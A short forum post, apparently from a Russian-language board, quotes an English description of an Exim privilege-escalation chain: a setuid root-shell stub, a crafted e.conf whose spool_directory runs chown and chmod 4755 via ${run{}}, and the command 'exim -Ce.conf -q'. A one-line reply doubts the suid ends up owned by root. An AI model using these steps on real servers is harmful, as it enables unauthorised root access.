>after that attacker gets shell with id of user Debian-exim and cwd
>in /var/spool/exim4

?then it put file there file setuid with trivial execution of root shell:
>[оверквотинг удален]
>execl("/bin/sh", "sh", NULL);
>}
>
>and create another file e.conf with following content:
>spool_directory = ${run{/bin/chown
>root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4>/setuid}}
>the he runs:
>exim -Ce.conf -q
>and gets suid bit on /var/spool/exim4/setuid
>everything else is trivial.

suid да но от exim , а не от root
я